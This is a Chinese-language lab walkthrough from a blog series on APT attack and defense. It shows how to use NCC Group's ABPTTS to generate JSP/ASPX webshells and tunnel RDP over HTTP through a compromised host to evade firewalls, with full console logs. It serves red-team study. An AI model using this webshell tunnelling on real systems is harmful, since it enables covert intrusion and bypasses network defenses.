专注APT攻击与防御

https://micropoor.blogspot.com/

ABPTTS简介：

ABPTTS是NCC Group在2016年blackhat推出的一款将TCP流量通过HTTP/HTTPS进行流量转发，在目前云主机的大环境中，发挥了比较重要的作用，可以通过脚本进行RDP,SSH,Meterpreter的交互与连接。也意味着这样可以建立一个通过80端口得流量出站来逃避防火墙。与其它http隧道不同的是，abptts是全加密。

2016年blackhat介绍：

https://www.blackhat.com/us-16/arsenal.html#a-black-path-toward-the-sun

Github：

https://github.com/nccgroup/ABPTTS

安装与生成payload：

1 root@John:~# git clone https://github.com/nccgroup/ABPTTS.git

2 Cloning into 'ABPTTS'...

3 remote: Enumerating objects: 50, done.

4 remote: Total 50 (delta 0), reused 0 (delta 0), pack‐reused 50

5 Unpacking objects: 100% (50/50), done.

6 root@John:~# pip install pycrypto

7 Requirement already satisfied: pycrypto in /usr/lib/python2.7/dist‐pac kages (2.6.1)

8 root@John:~# cd ABPTTS/

9 root@John:~/ABPTTS# ls

10 abpttsclient.py abpttsfactory.py ABPTTS‐Manual.pdf data libabptts.py l icense.txt README.md settings\_overlays template

11 root@John:~/ABPTTS# python abpttsfactory.py ‐o webshell

12 [2019‐01‐28 08:24:28.131919] ‐‐‐===[[[ A Black Path Toward The Sun ]]] ===‐‐‐

13 [2019‐01‐28 08:24:28.131954] ‐‐==[[ ‐ Factory ‐ ]]==‐‐

14 [2019‐01‐28 08:24:28.131965] Ben Lincoln, NCC Group

15 [2019‐01‐28 08:24:28.131979] Version 1.0 ‐ 2016‐07‐30

16 [2019‐01‐28 08:24:28.132706] Output files will be created in "/root/AB PTTS/webshell"

17 [2019‐01‐28 08:24:28.132722] Client‐side configuration file will be wr itten as "/root/ABPTTS/webshell/config.txt"

18 [2019‐01‐28 08:24:28.132739] Using "/root/ABPTTS/data/american‐english ‐lowercase‐4‐64.txt" as a wordlist file

19 [2019‐01‐28 08:24:28.136713] Created client configuration file "/root/ ABPTTS/webshell/config.txt"

20 [2019‐01‐28 08:24:28.137760] Created server file "/root/ABPTTS/webshel l/abptts.jsp"

21 [2019‐01‐28 08:24:28.138342] Created server file "/root/ABPTTS/webshel l/abptts.aspx"

22 [2019‐01‐28 08:24:28.138492] Created server file "/root/ABPTTS/webshel l/war/WEB‐INF/web.xml"

23 [2019‐01‐28 08:24:28.138555] Created server file "/root/ABPTTS/webshel l/war/META‐INF/MANIFEST.MF"

24 [2019‐01‐28 08:24:28.139128] Prebuilt JSP WAR file: /root/ABPTTS/websh ell/scabGroup.war

25 [2019‐01‐28 08:24:28.139140] Unpacked WAR file contents: /root/ABPTTS/webshell/war

26

靶机执行：

以aspx为demo。

攻击机执行：

注：如果攻击机为vps，则 -f 需要填写vps\_ip:port/目标机:port

1 python abpttsclient.py ‐c webshell/config.txt ‐u "http://192.168.1.11 9/abptts.aspx" ‐f 192.168.1.5:33389/192.168.1.119:3389

1 root@John:~/ABPTTS# python abpttsclient.py ‐c webshell/config.txt ‐u "http://192.168.1.119/abptts.aspx" ‐f 192.168.1.5:33389/192.168.1.119:338 9

2 [2019‐01‐28 08:33:25.749115] ‐‐‐===[[[ A Black Path Toward The Sun ]]] ===‐‐‐

3 [2019‐01‐28 08:33:25.749153] ‐‐==[[ ‐ Client ‐ ]]==‐‐

4 [2019‐01‐28 08:33:25.749160] Ben Lincoln, NCC Group

5 [2019‐01‐28 08:33:25.749169] Version 1.0 ‐ 2016‐07‐30

6 [2019‐01‐28 08:33:25.750372] Listener ready to forward connections fro m 192.168.1.5:33389 to 192.168.1.119:3389 via http://192.168.1.119/abptt s.aspx

7 [2019‐01‐28 08:33:25.750392] Waiting for client connection to 192.168.

1.5:33389

8 [2019‐01‐28 08:33:28.560180] Client connected to 192.168.1.5:33389

9 [2019‐01‐28 08:33:28.560365] Waiting for client connection to 192.168.

1.5:33389

10 [2019‐01‐28 08:33:28.560655] Connecting to 192.168.1.119:3389 via htt p://192.168.1.119/abptts.aspx

11 [2019‐01‐28 08:33:28.868187] Server set cookie ASP.NET\_SessionId=boyfc epcijf43s0dhaz5of05; path=/; HttpOnly

12 [2019‐01‐28 08:33:28.868269] [(S2C) 192.168.1.119:3389 ‐> 192.168.1.5:33389 ‐> 192.168.1.3:8861 (Connection ID: CEA116F4AF1FAF8C)] Server created connection ID CEA116F4AF1FAF8C

13 [2019‐01‐28 08:33:29.077903] Connection‐level exception: [Errno 104] C onnection reset by peer in thread for tunnel (192.168.1.3:8861 ‐> 192.168.1.5:33389 ‐> 192.168.1.119:3389)

14 [2019‐01‐28 08:33:29.077967] Disengaging tunnel (192.168.1.3:8861 ‐> 1

92.168.1.5:33389 ‐> 192.168.1.119:3389)

15 [2019‐01‐28 08:33:29.077987] Closing client socket (192.168.1.3:8861 ‐ > 192.168.1.5:33389)

16 [2019‐01‐28 08:33:29.078049] Exception while closing client socket (19 2.168.1.3:8861 ‐> 192.168.1.5:33389): [Errno 107] Transport endpoint is n ot connected

17 [2019‐01‐28 08:33:29.085280] Server closed connection ID CEA116F4AF1FA F8C

18 [2019‐01‐28 08:33:36.957446] Client connected to 192.168.1.5:33389

19 [2019‐01‐28 08:33:36.957601] Waiting for client connection to 192.168.

1.5:33389

20 [2019‐01‐28 08:33:36.957797] Connecting to 192.168.1.119:3389 via htt p://192.168.1.119/abptts.aspx

21 [2019‐01‐28 08:33:36.966507] Server set cookie ASP.NET\_SessionId=bsynu c3l5ndo5h0n0bhtrv5p; path=/; HttpOnly

22 [2019‐01‐28 08:33:36.966587] [(S2C) 192.168.1.119:3389 ‐> 192.168.1.5:33389 ‐> 192.168.1.3:8862 (Connection ID: AA0FE7F073A5EFFD)] Server created connection ID AA0FE7F073A5EFFD

23 [2019‐01‐28 08:33:45.321612] [(C2S) 192.168.1.3:8862 ‐> 192.168.1.5:33

389 ‐> 192.168.1.119:3389 (Connection ID: AA0FE7F073A5EFFD)]: 25805 bytes sent since last report

24 [2019‐01‐28 08:33:45.321700] [(S2C) 192.168.1.119:3389 ‐> 192.168.1.5:33389 ‐> 192.168.1.3:8862 (Connection ID: AA0FE7F073A5EFFD)] 12344 bytes sent since last report

25 [2019‐01‐28 08:33:48.482758] [(C2S) 192.168.1.3:8862 ‐> 192.168.1.5:33

389 ‐> 192.168.1.119:3389 (Connection ID: AA0FE7F073A5EFFD)]: 715 bytes s ent since last report

26 [2019‐01‐28 08:33:48.482838] [(S2C) 192.168.1.119:3389 ‐> 192.168.1.5:33389 ‐> 192.168.1.3:8862 (Connection ID: AA0FE7F073A5EFFD)] 2524 bytes sent since last report

27 [2019‐01‐28 08:33:54.169354] Connection‐level exception: [Errno 104] C onnection reset by peer in thread for tunnel (192.168.1.3:8862 ‐> 192.168.1.5:33389 ‐> 192.168.1.119:3389)

28 [2019‐01‐28 08:33:54.169432] Disengaging tunnel (192.168.1.3:8862 ‐> 1

92.168.1.5:33389 ‐> 192.168.1.119:3389)

29 [2019‐01‐28 08:33:54.169455] Closing client socket (192.168.1.3:8862 ‐ > 192.168.1.5:33389)

30 [2019‐01‐28 08:33:54.169529] Exception while closing client socket (19 2.168.1.3:8862 ‐> 192.168.1.5:33389): [Errno 107] Transport endpoint is n ot connected

31 [2019‐01‐28 08:33:54.178078] Server closed connection ID AA0FE7F073A5E FFD

32

非常遗憾的是，目前不支持PHP。

Micropoor